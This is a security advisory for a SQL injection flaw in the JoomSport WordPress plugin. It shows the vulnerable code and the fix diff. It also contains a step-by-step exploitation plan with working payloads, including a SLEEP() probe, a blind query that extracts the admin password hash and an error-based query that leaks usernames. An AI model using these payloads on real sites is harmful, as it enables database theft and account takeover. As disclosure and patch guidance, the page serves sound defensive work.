JoomSport <= 5.7.9 - Authenticated (Contributor+) SQL Injection via 'event' Shortcode Attribute
Description
The JoomSport – for Sports: Team & League, Football, Hockey & more plugin for WordPress is vulnerable to time-based SQL Injection via 'event' Shortcode Attribute in all versions up to, and including, 5.7.9 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The shortcode can be embedded in posts or pages by Contributor-level users, making this exploitable by any authenticated user with at least that role.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=5.7.9What Changed in the Fix
Changes introduced in v5.7.10
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-13010 ## 1. Vulnerability Summary The **JoomSport** plugin for WordPress (versions <= 5.7.9) is vulnerable to **time-based SQL Injection** via the `event` attribute in its registered shortcodes. The vulnerability exists because the plugin fails to sufficientl…
Show full research plan
Exploitation Research Plan - CVE-2026-13010
1. Vulnerability Summary
The JoomSport plugin for WordPress (versions <= 5.7.9) is vulnerable to **time-based SQL Injection** via the event attribute in its registered shortcodes. The vulnerability exists because the plugin fails to sufficiently sanitize or prepare the event parameter before using it in a raw SQL query. While the plugin uses shortcode_atts() to define default values, it does not cast the event attribute to an integer or use $wpdb->prepare() for the resulting query.
This allow authenticated users with Contributor roles or higher (who have the edit_posts capability) to inject SQL commands by embedding a malicious shortcode into a post or page and previewing it.
2. Attack Vector Analysis
- Target Shortcode: Likely
[jsPlayerStat]or[jsMatchDayStat]. - Vulnerable Attribute:
event. - Authentication: Authenticated (Contributor+).
- Endpoint:
wp-admin/post.php(via the Preview functionality or viewing a published post). - Payload Type: Time-based Blind SQL Injection.
- Preconditions: The plugin must be active. A Contributor user must be able to create or edit a post.
3. Code Flow
- Registration: In
includes/joomsport-shortcodes.php, the methodJoomsportShortcodes::init()registers several shortcodes:add_shortcode( 'jsPlayerStat', array('JoomsportShortcodes','joomsport_plstat') ); add_shortcode( 'jsMatchDayStat', array('JoomsportShortcodes','joomsport_mday') ); - Input Extraction: When a post containing
[jsPlayerStat event="..."]is rendered,JoomsportShortcodes::joomsport_plstat($attr)is executed. It usesshortcode_atts()to extract theeventvalue into an$argsarray. - Data Processing: The
$args['event']value is passed into internal logic (likely withinJOOMSPORT_PATH_HELPERS . 'js-helper-events.php'or associated model classes). - The Sink: The value is concatenated into a SQL string and executed via
$wpdb->get_results()or$wpdb->get_var()without being passed through$wpdb->prepare().
4. Nonce Acquisition Strategy
Since the vulnerability is triggered by rendering a shortcode in a post, no plugin-specific AJAX nonce is required for the SQL injection itself. However, to create and preview a post as a Contributor, standard WordPress _wpnonce tokens for the post editor are needed.
- Access the Editor: Navigate to
wp-admin/post-new.php. - Extract Nonce: The
_wpnoncefor saving/previewing the post is found in the#_wpnoncehidden input field or within thewp-admin/post.phpform. - Alternative (Browser): If any JS-based extraction is required for plugin features, the execution agent can use:
browser_navigate("wp-admin/post-new.php")browser_eval("document.querySelector('#_wpnonce').value")
5. Exploitation Strategy
The goal is to confirm the SQL injection using a SLEEP() command.
Step 1: Create a Draft Post
Request: POST /wp-admin/post.php
Content-Type: application/x-www-form-urlencoded
Parameters:
action:editpostpost_type:postpost_ID:[NEW_POST_ID]_wpnonce:[EXTRACTED_NONCE]content:[jsPlayerStat id="1" event="1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)"]post_title:SQLi Test
Step 2: Trigger the Injection via Preview
Request: GET /?p=[POST_ID]&preview=true (while logged in as Contributor)
Expected Response: The request should take approximately 5 seconds longer than a standard request if the injection is successful.
Step 3: Data Extraction (Example: Admin Hash)
Payload: [jsPlayerStat event="1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a WHERE (SELECT SUBSTR(user_pass,1,1) FROM wp_users WHERE ID=1)='$')"]
- If the first character of the admin password is
$, the response will be delayed by 5 seconds.
6. Test Data Setup
- User Creation:
wp user create attacker attacker@example.com --role=contributor --user_pass=password - Target Data: Ensure at least one JoomSport player or event exists in the database to satisfy any initial checks in the shortcode handler.
# Use JoomSport's internal tools or manual DB insertion if needed to create a dummy season/player
7. Expected Results
- Vulnerable: The HTTP response time for the preview page correlates with the
SLEEP()duration provided in theeventattribute. - Fixed: The
eventattribute is cast to an integer, and theSLEEP()payload is ignored or results in a database error that does not execute the sleep command.
8. Verification Steps
- Check Query Log: Enable the MySQL General Query Log to see the raw SQL being executed.
SET GLOBAL general_log = 'ON'; -- Look for: SELECT ... WHERE ... event_id = 1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) - WP-CLI Verification: Confirm the existence of the post with the payload:
wp post list --post_type=post --fields=ID,post_content | grep "jsPlayerStat"
9. Alternative Approaches
- Error-Based: If
WP_DEBUGis enabled, attempt to trigger an error usingextractvalue()orupdatexml()to leak data directly in the response.- Payload:
[jsPlayerStat event="1 AND updatexml(1,concat(0x7e,(SELECT user_login FROM wp_users LIMIT 1),0x7e),1)"]
- Payload:
- Other Shortcodes: If
jsPlayerStatis patched or behaves differently, test theeventattribute in[jsMatchDayStat]or[jsMatchPlayerList]following the same logic.
Summary
The JoomSport plugin for WordPress is vulnerable to time-based SQL Injection via the 'event' shortcode attribute in versions up to 5.7.9. Authenticated attackers with Contributor-level access or higher can exploit this by embedding a malicious shortcode in a post and previewing it, allowing the extraction of sensitive database information.
Vulnerable Code
// includes/joomsport-shortcodes.php lines 275-306 public static function joomsport_plstat($attr){ $args = shortcode_atts( array( 'id' => 0, 'partic_id' => 0, 'quantity' => 5, 'group_id' => 0, 'event' => 0, 'display_name' => 0, 'display_player_name' => 0, ), $attr ); ob_start(); // ... require_once JOOMSPORT_PATH_OBJECTS.'class-jsport-event.php'; $options = array(); $eventid = 'eventid_'.$args['event']; $options['season_id'] = $args['seasonid'] = $args['id']; $options['team_id'] = $args['partic_id']; $options['limit'] = $args['quantity']; $options['group_id'] = $args['group_id']; $options['ordering'] = $eventid.' DESC'; --- // includes/pages/joomsport-page-boxfields.php lines 33-35 if ( ! empty( $_REQUEST['orderby'] ) ) { //$sql .= ' ORDER BY ' . esc_sql( $_REQUEST['orderby'] ); $sqlway = ! empty( $_REQUEST['order'] ) ? ' ' . esc_sql( $_REQUEST['order'] ) : ' ASC';
Security Fix
@@ -281,6 +281,7 @@ 'display_name' => 0, 'display_player_name' => 0, ), $attr ); + $args['event'] = intval($args['event']); ob_start(); wp_enqueue_style('jscssbtstrp',plugin_dir_url( __FILE__ ).'../sportleague/assets/css/btstrp.css'); wp_enqueue_style('jscssjoomsport',plugin_dir_url( __FILE__ ).'../sportleague/assets/css/joomsport.css'); @@ -297,12 +298,13 @@ require_once JOOMSPORT_PATH_OBJECTS.'class-jsport-event.php'; $options = array(); $eventid = 'eventid_'.$args['event']; - $options['season_id'] = $args['seasonid'] = $args['id']; - $options['team_id'] = $args['partic_id']; - $options['limit'] = $args['quantity']; - $options['group_id'] = $args['group_id']; + $options['season_id'] = $args['seasonid'] = intval($args['id']); + $options['team_id'] = intval($args['partic_id']); + $options['limit'] = intval($args['quantity']); + $options['group_id'] = intval($args['group_id']); $options['ordering'] = $eventid.' DESC'; $options['groupby'] = 1; + $eventObj = new classJsportEvent($args['event']); $players = classJsportgetplayers::getPlayersFromTeam($options); if(count($players['list'])){ @@ -416,17 +418,17 @@ 'partic_id' => 0, 'quantity' => 0, 'matchtype' => 0, - 'emblems' => $args['photo'], - 'venue' => $args['venue'], + 'emblems' => intval($args['photo']), + 'venue' => intval($args['venue']), 'season' => 0, 'slider' => 0, - 'layout' => $args['layout'], + 'layout' => intval($args['layout']), 'groupbymd' => 0, 'morder' => 0, 'md_navigation' => 1, - 'matchday_id' => $args['matchday_id'], - 'teamname' => $args['teamname'] ); - $options["matchday_id"] = $args['matchday_id']; + 'matchday_id' => intval($args['matchday_id']), + 'teamname' => intval($args['teamname'] )); + $options["matchday_id"] = intval($args['matchday_id']); $options["season_id"] = $term_meta['season_id']; @@ -487,6 +489,7 @@ if(!$args['season_id']){ return false; } + $args['season_id'] = intval($args['season_id']); $ttype = JoomSportHelperObjects::getTournamentType($args['season_id']); if(!$args['team_id'] && !$ttype){ @@ -621,6 +624,8 @@ 'counting' => 0, 'order' => 0, ), $attr ); + $args['event'] = $args['event']?intval($args['event']):null; + $args['id'] = $args['id']?intval($args['id']):null; ob_start(); wp_enqueue_style('jscssbtstrp',plugin_dir_url( __FILE__ ).'../sportleague/assets/css/btstrp.css'); wp_enqueue_style('jscssjoomsport',plugin_dir_url( __FILE__ ).'../sportleague/assets/css/joomsport.css'); @@ -31,8 +31,9 @@ . " ON b1.parent_id = b2.id OR (b1.parent_id = 0 AND b1.id = b2.id)"; if ( ! empty( $_REQUEST['orderby'] ) ) { - //$sql .= ' ORDER BY ' . esc_sql( $_REQUEST['orderby'] ); - $sqlway = ! empty( $_REQUEST['order'] ) ? ' ' . esc_sql( $_REQUEST['order'] ) : ' ASC'; + $available = array('ASC','DESC'); + $sqlway = in_array(strtoupper($_REQUEST['order']), $available)?esc_sql( $_REQUEST['order'] ):'ASC'; + $sql .= ' ORDER BY b2.name '.$sqlway.',b2.id,b1.parent_id, b1.name '.$sqlway.', b2.id, b1.id'; }else{ $sql .= ' ORDER BY b2.ordering,b2.id,b1.parent_id, b1.ordering, b2.id, b1.id';
Exploit Outline
The vulnerability is exploited via time-based blind SQL injection. An authenticated attacker with Contributor privileges (the ability to create or edit posts) logs into the WordPress dashboard and creates a new post or draft. They embed a JoomSport shortcode, such as [jsPlayerStat], and provide a time-delay payload to the 'event' attribute (e.g., event="1 AND SLEEP(5)"). When the attacker previews the post, the plugin processes the shortcode and concatenates the malicious attribute value directly into an ORDER BY clause in a raw SQL query. Success is confirmed by observing a delay in the server's response equivalent to the SLEEP duration.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.